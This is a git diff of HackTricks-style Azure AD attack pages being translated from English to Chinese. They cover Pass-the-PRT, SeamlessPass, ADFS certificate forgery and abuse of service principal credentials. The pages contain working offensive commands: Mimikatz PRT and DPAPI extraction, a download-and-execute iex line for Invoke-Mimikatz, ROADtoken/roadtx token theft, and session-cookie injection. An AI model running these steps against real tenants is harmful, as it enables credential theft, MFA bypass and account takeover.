|
||||
|
||||
It's also possible to perform this attack **without a dcsync attack** to be more stealth as [explained in this blog post](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). For that you only need one of the following:
|
||||
也可以**在没有dcsync攻击的情况下**执行此攻击,以更隐蔽,如 [在这篇博客文章中解释](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)。为此,您只需以下之一:
|
||||
|
||||
- **A compromised user's TGT:** Even if you don't have one but the user was compromised,you can get one using fake TGT delegation trick implemented in many tools such as [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) and [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Golden Ticket**: If you have the KRBTGT key, you can create the TGT you need for the attacked user.
|
||||
- **A compromised user’s NTLM hash or AES key:** SeamlessPass will communicate with the domain controller with this information to generate the TGT
|
||||
- **AZUREADSSOACC$ account NTLM hash or AES key:** With this info and the user’s Security Identifier (SID) to attack it's possible to create a service ticket an authenticate with the cloud (as performed in the previous method).
|
||||
|
||||
Finally, with the TGT it's possible to use the tool [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) with:
|
||||
- **被攻陷用户的TGT:** 即使您没有,但用户被攻陷,您也可以使用许多工具中实现的假TGT委派技巧获取一个,例如 [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) 和 [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)。
|
||||
- **黄金票证**:如果您拥有KRBTGT密钥,您可以为被攻击用户创建所需的TGT。
|
||||
- **被攻陷用户的NTLM哈希或AES密钥:** SeamlessPass将使用此信息与域控制器通信以生成TGT。
|
||||
- **AZUREADSSOACC$账户NTLM哈希或AES密钥:** 使用此信息和用户的安全标识符(SID)进行攻击,可以创建服务票证并与云进行身份验证(如在前一种方法中执行的那样)。
|
||||
|
||||
最后,使用TGT可以使用工具 [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass):
|
||||
```
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
|
||||
```
|
||||
进一步的信息可以在[**这篇博客文章中找到**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)。
|
||||
|
||||
Further information to set Firefox to work with seamless SSO can be [**found in this blog post**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
#### ~~为仅云用户创建 Kerberos 票证~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
#### ~~Creating Kerberos tickets for cloud-only users~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
If the Active Directory administrators have access to Azure AD Connect, they can **set SID for any cloud-user**. This way Kerberos **tickets** can be **created also for cloud-only users**. The only requirement is that the SID is a proper [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
如果 Active Directory 管理员可以访问 Azure AD Connect,他们可以**为任何云用户设置 SID**。这样,Kerberos **票证**也可以**为仅云用户创建**。唯一的要求是 SID 是一个合适的[SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
|
||||
> [!CAUTION]
|
||||
> Changing SID of cloud-only admin users is now **blocked by Microsoft**.\
|
||||
> For info check [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
> 仅云管理员用户的 SID 现在被**微软阻止**。\
|
||||
> 有关信息,请查看 [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
|
||||
### On-prem -> Cloud via Resource Based Constrained Delegation <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Anyone that can manage computer accounts (`AZUREADSSOACC$`) in the container or OU this account is in, it can **configure a resource based constrained delegation over the account and access it**.
|
||||
### 本地 -> 云通过基于资源的受限委派 <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
任何可以管理计算机帐户(`AZUREADSSOACC$`)的用户,在该帐户所在的容器或 OU 中,都可以**配置基于资源的受限委派并访问它**。
|
||||
```python
|
||||
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
|
||||
- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
- [TR19: 我在你的云中,阅读每个人的电子邮件 - 通过 Active Directory 黑客攻击 Azure AD](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+64
-102
@@ -2,77 +2,72 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is a PRT
|
||||
## 什么是 PRT
|
||||
|
||||
{{#ref}}
|
||||
az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
|
||||
### Check if you have a PRT
|
||||
|
||||
### 检查您是否拥有 PRT
|
||||
```
|
||||
Dsregcmd.exe /status
|
||||
```
|
||||
|
||||
In the SSO State section, you should see the **`AzureAdPrt`** set to **YES**.
|
||||
在 SSO 状态部分,您应该看到 **`AzureAdPrt`** 设置为 **YES**。
|
||||
|
||||
<figure><img src="../../../images/image (140).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
In the same output you can also see if the **device is joined to Azure** (in the field `AzureAdJoined`):
|
||||
在同一输出中,您还可以看到 **设备是否已加入 Azure**(在字段 `AzureAdJoined` 中):
|
||||
|
||||
<figure><img src="../../../images/image (135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## PRT Cookie
|
||||
|
||||
The PRT cookie is actually called **`x-ms-RefreshTokenCredential`** and it's a JSON Web Token (JWT). A JWT contains **3 parts**, the **header**, **payload** and **signature**, divided by a `.` and all url-safe base64 encoded. A typical PRT cookie contains the following header and body:
|
||||
|
||||
PRT cookie 实际上被称为 **`x-ms-RefreshTokenCredential`**,它是一个 JSON Web Token (JWT)。JWT 包含 **3 个部分**,**头部**、**有效载荷**和 **签名**,由 `.` 分隔,并且全部是 URL 安全的 base64 编码。一个典型的 PRT cookie 包含以下头部和主体:
|
||||
```json
|
||||
{
|
||||
"alg": "HS256",
|
||||
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
|
||||
"alg": "HS256",
|
||||
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
|
||||
}
|
||||
{
|
||||
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
|
||||
"is_primary": "true",
|
||||
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
|
||||
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
|
||||
"is_primary": "true",
|
||||
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
|
||||
}
|
||||
```
|
||||
实际的 **Primary Refresh Token (PRT)** 被封装在 **`refresh_token`** 中,该令牌由 Azure AD 控制的密钥加密,使其内容对我们来说是不可见和无法解密的。字段 **`is_primary`** 表示该令牌中封装了主刷新令牌。为了确保 cookie 保持与其预期的特定登录会话绑定,`request_nonce` 从 `logon.microsoftonline.com` 页面传输。
|
||||
|
||||
The actual **Primary Refresh Token (PRT)** is encapsulated within the **`refresh_token`**, which is encrypted by a key under the control of Azure AD, rendering its contents opaque and undecryptable to us. The field **`is_primary`** signifies the encapsulation of the primary refresh token within this token. To ensure that the cookie remains bound to the specific login session it was intended for, the `request_nonce` is transmitted from the `logon.microsoftonline.com` page.
|
||||
### 使用 TPM 的 PRT Cookie 流
|
||||
|
||||
### PRT Cookie flow using TPM
|
||||
**LSASS** 进程将向 TPM 发送 **KDF 上下文**,TPM 将使用 **会话密钥**(在设备注册到 AzureAD 时收集并存储在 TPM 中)和先前的上下文来 **派生** 一个 **密钥**,该 **派生密钥** 用于 **签名 PRT cookie (JWT)**。
|
||||
|
||||
The **LSASS** process will send to the TPM the **KDF context**, and the TPM will used **session key** (gathered when the device was registered in AzureAD and stored in the TPM) and the previous context to **derivate** a **key,** and this **derived key** is used to **sign the PRT cookie (JWT).**
|
||||
**KDF 上下文是** 来自 AzureAD 的随机数和 PRT 创建的 **JWT**,混合了 **上下文**(随机字节)。
|
||||
|
||||
The **KDF context is** a nonce from AzureAD and the PRT creating a **JWT** mixed with a **context** (random bytes).
|
||||
|
||||
Therefore, even if the PRT cannot be extracted because it's located inside the TPM, it's possible to abuseLSASS to **request derived keys from new contexts and use the generated keys to sign Cookies**.
|
||||
因此,即使 PRT 不能被提取,因为它位于 TPM 内部,但可以滥用 LSASS 来 **请求来自新上下文的派生密钥并使用生成的密钥来签名 Cookies**。
|
||||
|
||||
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## PRT Abuse Scenarios
|
||||
## PRT 滥用场景
|
||||
|
||||
As a **regular user** it's possible to **request PRT usage** by asking LSASS for SSO data.\
|
||||
This can be done like **native apps** which request tokens from **Web Account Manager** (token broker). WAM pasess the request to **LSASS**, which asks for tokens using signed PRT assertion. Or it can be down with **browser based (web) flow**s where a **PRT cookie** is used as **header** to authenticate requests to Azure AS login pages.
|
||||
作为 **普通用户**,可以通过请求 LSASS 获取 SSO 数据来 **请求 PRT 使用**。\
|
||||
这可以像 **本地应用程序** 一样完成,这些应用程序从 **Web Account Manager**(令牌代理)请求令牌。WAM 将请求传递给 **LSASS**,后者使用签名的 PRT 断言请求令牌。或者也可以通过 **基于浏览器的 (web) 流** 来完成,其中 **PRT cookie** 用作 **头部** 来验证对 Azure AS 登录页面的请求。
|
||||
|
||||
As **SYSTEM** you could **steal the PRT if not protected** by TPM or **interact with PRT keys in LSASS** using crypto APIs.
|
||||
作为 **SYSTEM**,如果没有受到 TPM 保护,可以 **窃取 PRT** 或 **使用加密 API 与 LSASS 中的 PRT 密钥交互**。
|
||||
|
||||
## Pass-the-PRT Attack Examples
|
||||
## Pass-the-PRT 攻击示例
|
||||
|
||||
### Attack - ROADtoken
|
||||
### 攻击 - ROADtoken
|
||||
|
||||
For more info about this way [**check this post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken will run **`BrowserCore.exe`** from the right directory and use it to **obtain a PRT cookie**. This cookie can then be used with ROADtools to authenticate and **obtain a persistent refresh token**.
|
||||
|
||||
To generate a valid PRT cookie the first thing you need is a nonce.\
|
||||
You can get this with:
|
||||
有关此方法的更多信息 [**请查看此帖子**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)。ROADtoken 将从正确的目录运行 **`BrowserCore.exe`** 并使用它来 **获取 PRT cookie**。然后可以使用此 cookie 与 ROADtools 进行身份验证并 **获取持久的刷新令牌**。
|
||||
|
||||
要生成有效的 PRT cookie,您需要的第一件事是一个随机数。\
|
||||
您可以通过以下方式获取:
|
||||
```powershell
|
||||
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
|
||||
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
|
||||
|
||||
$Params = @{
|
||||
"URI" = $URL
|
||||
"Method" = "POST"
|
||||
"URI" = $URL
|
||||
"Method" = "POST"
|
||||
}
|
||||
$Body = @{
|
||||
"grant_type" = "srv_challenge"
|
||||
@@ -81,27 +76,19 @@ $Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
|
||||
$Result.Nonce
|
||||
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
|
||||
```
|
||||
|
||||
Or using [**roadrecon**](https://github.com/dirkjanm/ROADtools):
|
||||
|
||||
或使用 [**roadrecon**](https://github.com/dirkjanm/ROADtools):
|
||||
```powershell
|
||||
roadrecon auth prt-init
|
||||
```
|
||||
|
||||
Then you can use [**roadtoken**](https://github.com/dirkjanm/ROADtoken) to get a new PRT (run in the tool from a process of the user to attack):
|
||||
|
||||
然后您可以使用 [**roadtoken**](https://github.com/dirkjanm/ROADtoken) 来获取新的 PRT(从用户的进程中运行该工具进行攻击):
|
||||
```powershell
|
||||
.\ROADtoken.exe <nonce>
|
||||
```
|
||||
|
||||
As oneliner:
|
||||
|
||||
作为单行命令:
|
||||
```powershell
|
||||
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
|
||||
```
|
||||
|
||||
Then you can use the **generated cookie** to **generate tokens** to **login** using Azure AD **Graph** or Microsoft Graph:
|
||||
|
||||
然后您可以使用**生成的 cookie**来**生成令牌**以使用 Azure AD **Graph** 或 Microsoft Graph **登录**:
|
||||
```powershell
|
||||
# Generate
|
||||
roadrecon auth --prt-cookie <prt_cookie>
|
||||
@@ -109,13 +96,11 @@ roadrecon auth --prt-cookie <prt_cookie>
|
||||
# Connect
|
||||
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
|
||||
```
|
||||
### 攻击 - 使用 roadrecon
|
||||
|
||||
### Attack - Using roadrecon
|
||||
|
||||
### Attack - Using AADInternals and a leaked PRT
|
||||
|
||||
`Get-AADIntUserPRTToken` **gets user’s PRT token** from the Azure AD joined or Hybrid joined computer. Uses `BrowserCore.exe` to get the PRT token.
|
||||
### 攻击 - 使用 AADInternals 和泄露的 PRT
|
||||
|
||||
`Get-AADIntUserPRTToken` **从 Azure AD 加入或混合加入的计算机获取用户的 PRT 令牌**。使用 `BrowserCore.exe` 获取 PRT 令牌。
|
||||
```powershell
|
||||
# Get the PRToken
|
||||
$prtToken = Get-AADIntUserPRTToken
|
||||
@@ -123,9 +108,7 @@ $prtToken = Get-AADIntUserPRTToken
|
||||
# Get an access token for AAD Graph API and save to cache
|
||||
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
```
|
||||
|
||||
Or if you have the values from Mimikatz you can also use AADInternals to generate a token:
|
||||
|
||||
或者,如果您拥有来自 Mimikatz 的值,您也可以使用 AADInternals 生成令牌:
|
||||
```powershell
|
||||
# Mimikat "PRT" value
|
||||
$MimikatzPRT="MC5BWU..."
|
||||
@@ -153,40 +136,36 @@ $AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
|
||||
# Verify access and connect with Az. You can see account id in mimikatz prt output
|
||||
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
|
||||
```
|
||||
|
||||
Go to [https://login.microsoftonline.com](https://login.microsoftonline.com), clear all cookies for login.microsoftonline.com and enter a new cookie.
|
||||
|
||||
前往 [https://login.microsoftonline.com](https://login.microsoftonline.com),清除所有 login.microsoftonline.com 的 cookies,并输入一个新的 cookie。
|
||||
```
|
||||
Name: x-ms-RefreshTokenCredential
|
||||
Value: [Paste your output from above]
|
||||
Path: /
|
||||
HttpOnly: Set to True (checked)
|
||||
```
|
||||
|
||||
Then go to [https://portal.azure.com](https://portal.azure.com)
|
||||
然后访问 [https://portal.azure.com](https://portal.azure.com)
|
||||
|
||||
> [!CAUTION]
|
||||
> The rest should be the defaults. Make sure you can refresh the page and the cookie doesn’t disappear, if it does, you may have made a mistake and have to go through the process again. If it doesn’t, you should be good.
|
||||
> 其余的应该是默认设置。确保您可以刷新页面并且 cookie 不会消失,如果消失了,您可能犯了错误,需要重新进行该过程。如果没有消失,您应该没问题。
|
||||
|
||||
### Attack - Mimikatz
|
||||
### 攻击 - Mimikatz
|
||||
|
||||
#### Steps
|
||||
#### 步骤
|
||||
|
||||
1. The **PRT (Primary Refresh Token) is extracted from LSASS** (Local Security Authority Subsystem Service) and stored for subsequent use.
|
||||
2. The **Session Key is extracted next**. Given that this key is initially issued and then re-encrypted by the local device, it necessitates decryption using a DPAPI masterkey. Detailed information about DPAPI (Data Protection API) can be found in these resources: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) and for an understanding of its application, refer to [Pass-the-cookie attack](az-pass-the-cookie.md).
|
||||
3. Post decryption of the Session Key, the **derived key and context for the PRT are obtained**. These are crucial for the **creation of the PRT cookie**. Specifically, the derived key is employed for signing the JWT (JSON Web Token) that constitutes the cookie. A comprehensive explanation of this process has been provided by Dirk-jan, accessible [here](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
|
||||
1. **从 LSASS(本地安全授权子系统服务)中提取 PRT(主刷新令牌)**并存储以供后续使用。
|
||||
2. **接下来提取会话密钥**。鉴于此密钥最初由本地设备发出,然后重新加密,因此需要使用 DPAPI 主密钥进行解密。有关 DPAPI(数据保护 API)的详细信息,请参阅这些资源:[HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords),有关其应用的理解,请参阅 [Pass-the-cookie attack](az-pass-the-cookie.md)。
|
||||
3. 在解密会话密钥后,**获得 PRT 的派生密钥和上下文**。这些对于**创建 PRT cookie**至关重要。具体而言,派生密钥用于签署构成 cookie 的 JWT(JSON Web Token)。Dirk-jan 提供了对此过程的全面解释,可以在 [这里](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) 找到。
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that if the PRT is inside the TPM and not inside `lsass` **mimikatz won't be able to extract it**.\
|
||||
> However, it will be possible to g**et a key from a derive key from a context** from the TPM and use it to **sign a cookie (check option 3).**
|
||||
> 请注意,如果 PRT 在 TPM 中而不在 `lsass` 中,**mimikatz 将无法提取它**。\
|
||||
> 但是,可以从 TPM 中的上下文派生密钥获取密钥,并使用它来**签署 cookie(检查选项 3)**。
|
||||
|
||||
You can find an **in depth explanation of the performed process** to extract these details in here: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
您可以在这里找到**提取这些详细信息的深入解释**:[**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
|
||||
> [!WARNING]
|
||||
> This won't exactly work post August 2021 fixes to get other users PRT tokens as only the user can get his PRT (a local admin cannot access other users PRTs), but can access his.
|
||||
|
||||
You can use **mimikatz** to extract the PRT:
|
||||
> 在 2021 年 8 月的修复后,这将无法准确地获取其他用户的 PRT 令牌,因为只有用户可以获取他的 PRT(本地管理员无法访问其他用户的 PRT),但可以访问他的。
|
||||
|
||||
您可以使用 **mimikatz** 提取 PRT:
|
||||
```powershell
|
||||
mimikatz.exe
|
||||
Privilege::debug
|
||||
@@ -196,93 +175,76 @@ Sekurlsa::cloudap
|
||||
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
|
||||
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
|
||||
```
|
||||
|
||||
(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
|
||||
|
||||
<figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Copy** the part labeled **Prt** and save it.\
|
||||
Extract also the session key (the **`KeyValue`** of the **`ProofOfPossesionKey`** field) which you can see highlighted below. This is encrypted and we will need to use our DPAPI masterkeys to decrypt it.
|
||||
**复制**标记为**Prt**的部分并保存。\
|
||||
还要提取会话密钥(**`ProofOfPossesionKey`**字段的**`KeyValue`**),您可以在下面看到高亮显示的部分。这个是加密的,我们需要使用我们的DPAPI主密钥来解密它。
|
||||
|
||||
<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> If you don’t see any PRT data it could be that you **don’t have any PRTs** because your device isn’t Azure AD joined or it could be you are **running an old version** of Windows 10.
|
||||
|
||||
To **decrypt** the session key you need to **elevate** your privileges to **SYSTEM** to run under the computer context to be able to use the **DPAPI masterkey to decrypt it**. You can use the following commands to do so:
|
||||
> 如果您没有看到任何PRT数据,可能是因为您**没有任何PRT**,因为您的设备没有加入Azure AD,或者您可能在**运行旧版本**的Windows 10。
|
||||
|
||||
要**解密**会话密钥,您需要**提升**您的权限到**SYSTEM**,以在计算机上下文中运行,以便能够使用**DPAPI主密钥进行解密**。您可以使用以下命令来实现:
|
||||
```
|
||||
token::elevate
|
||||
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
|
||||
```
|
||||
|
||||
<figure><img src="../../../images/image (183).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Option 1 - Full Mimikatz
|
||||
#### 选项 1 - 完整的 Mimikatz
|
||||
|
||||
- Now you want to copy both the Context value:
|
||||
- 现在你想复制上下文值:
|
||||
|
||||
<figure><img src="../../../images/image (210).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- And the derived key value:
|
||||
- 以及派生密钥值:
|
||||
|
||||
<figure><img src="../../../images/image (150).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Finally you can use all this info to **generate PRT cookies**:
|
||||
|
||||
- 最后,你可以使用所有这些信息来 **生成 PRT cookies**:
|
||||
```bash
|
||||
Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
|
||||
```
|
||||
|
||||
<figure><img src="../../../images/image (282).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Go to [https://login.microsoftonline.com](https://login.microsoftonline.com), clear all cookies for login.microsoftonline.com and enter a new cookie.
|
||||
|
||||
- 访问 [https://login.microsoftonline.com](https://login.microsoftonline.com),清除 login.microsoftonline.com 的所有 cookies,并输入一个新的 cookie。
|
||||
```
|
||||
Name: x-ms-RefreshTokenCredential
|
||||
Value: [Paste your output from above]
|
||||
Path: /
|
||||
HttpOnly: Set to True (checked)
|
||||
```
|
||||
|
||||
- Then go to [https://portal.azure.com](https://portal.azure.com)
|
||||
- 然后访问 [https://portal.azure.com](https://portal.azure.com)
|
||||
|
||||
> [!CAUTION]
|
||||
> The rest should be the defaults. Make sure you can refresh the page and the cookie doesn’t disappear, if it does, you may have made a mistake and have to go through the process again. If it doesn’t, you should be good.
|
||||
> 其余的应该是默认设置。确保您可以刷新页面并且 cookie 不会消失,如果消失了,您可能犯了错误,需要重新进行该过程。如果没有消失,您应该没问题。
|
||||
|
||||
#### Option 2 - roadrecon using PRT
|
||||
|
||||
- Renew the PRT first, which will save it in `roadtx.prt`:
|
||||
#### 选项 2 - 使用 PRT 的 roadrecon
|
||||
|
||||
- 首先更新 PRT,这将把它保存在 `roadtx.prt`:
|
||||
```bash
|
||||
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
|
||||
```
|
||||
|
||||
- Now we can **request tokens** using the interactive browser with `roadtx browserprtauth`. If we use the `roadtx describe` command, we see the access token includes an MFA claim because the PRT I used in this case also had an MFA claim.
|
||||
|
||||
- 现在我们可以使用交互式浏览器通过 `roadtx browserprtauth` **请求令牌**。如果我们使用 `roadtx describe` 命令,我们会看到访问令牌包含一个 MFA 声明,因为我在这种情况下使用的 PRT 也有一个 MFA 声明。
|
||||
```bash
|
||||
roadtx browserprtauth
|
||||
roadtx describe < .roadtools_auth
|
||||
```
|
||||
|
||||
<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Option 3 - roadrecon using derived keys
|
||||
|
||||
Having the context and the derived key dumped by mimikatz, it's possible to use roadrecon to generate a new signed cookie with:
|
||||
#### 选项 3 - 使用派生密钥的 roadrecon
|
||||
|
||||
拥有上下文和通过 mimikatz 转储的派生密钥后,可以使用 roadrecon 生成一个新的签名 cookie:
|
||||
```bash
|
||||
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/)
|
||||
- [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
|
||||
- [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,54 +2,45 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Illicit Consent Grant
|
||||
### 非法同意授权
|
||||
|
||||
By default, any user can register an application in Azure AD. So you can register an application (only for the target tenant) that needs high impact permissions with admin consent (an approve it if you are the admin) - like sending mail on a user's behalf, role management etc.T his will allow us to **execute phishing attacks** that would be very **fruitful** in case of success.
|
||||
默认情况下,任何用户都可以在 Azure AD 中注册应用程序。因此,您可以注册一个需要高影响权限的应用程序(仅针对目标租户),并获得管理员同意(如果您是管理员,则批准它) - 例如代表用户发送邮件、角色管理等。这将使我们能够**执行网络钓鱼攻击**,如果成功将非常**有成效**。
|
||||
|
||||
Moreover, you could also accept that application with your user as a way to maintain access over it.
|
||||
此外,您还可以以您的用户身份接受该应用程序,以保持对其的访问。
|
||||
|
||||
### Applications and Service Principals
|
||||
### 应用程序和服务主体
|
||||
|
||||
With privileges of Application Administrator, GA or a custom role with microsoft.directory/applications/credentials/update permissions, we can add credentials (secret or certificate) to an existing application.
|
||||
拥有应用程序管理员、GA 或具有 microsoft.directory/applications/credentials/update 权限的自定义角色的权限,我们可以向现有应用程序添加凭据(密钥或证书)。
|
||||
|
||||
It's possible to **target an application with high permissions** or **add a new application** with high permissions.
|
||||
可以**针对具有高权限的应用程序**或**添加具有高权限的新应用程序**。
|
||||
|
||||
An interesting role to add to the application would be **Privileged authentication administrator role** as it allows to **reset password** of Global Administrators.
|
||||
|
||||
This technique also allows to **bypass MFA**.
|
||||
一个有趣的角色是**特权身份验证管理员角色**,因为它允许**重置**全局管理员的密码。
|
||||
|
||||
该技术还允许**绕过 MFA**。
|
||||
```powershell
|
||||
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
|
||||
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
|
||||
```
|
||||
|
||||
- For certificate based authentication
|
||||
|
||||
- 对于基于证书的身份验证
|
||||
```powershell
|
||||
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
|
||||
```
|
||||
|
||||
### Federation - Token Signing Certificate
|
||||
|
||||
With **DA privileges** on on-prem AD, it is possible to create and import **new Token signing** and **Token Decrypt certificates** that have a very long validity. This will allow us to **log-in as any user** whose ImuutableID we know.
|
||||
|
||||
**Run** the below command as **DA on the ADFS server(s)** to create new certs (default password 'AADInternals'), add them to ADFS, disable auto rollver and restart the service:
|
||||
通过在本地 AD 上拥有 **DA 权限**,可以创建和导入有效期非常长的 **新 Token 签名** 和 **Token 解密证书**。这将允许我们 **以任何用户身份登录**,只要我们知道其 ImuutableID。
|
||||
|
||||
**在 ADFS 服务器上以 **DA** 身份运行以下命令** 来创建新证书(默认密码 'AADInternals'),将其添加到 ADFS,禁用自动滚动并重启服务:
|
||||
```powershell
|
||||
New-AADIntADFSSelfSignedCertificates
|
||||
```
|
||||
|
||||
Then, update the certificate information with Azure AD:
|
||||
|
||||
然后,使用 Azure AD 更新证书信息:
|
||||
```powershell
|
||||
Update-AADIntADFSFederationSettings -Domain cyberranges.io
|
||||
```
|
||||
|
||||
### Federation - Trusted Domain
|
||||
|
||||
With GA privileges on a tenant, it's possible to **add a new domain** (must be verified), configure its authentication type to Federated and configure the domain to **trust a specific certificate** (any.sts in the below command) and issuer:
|
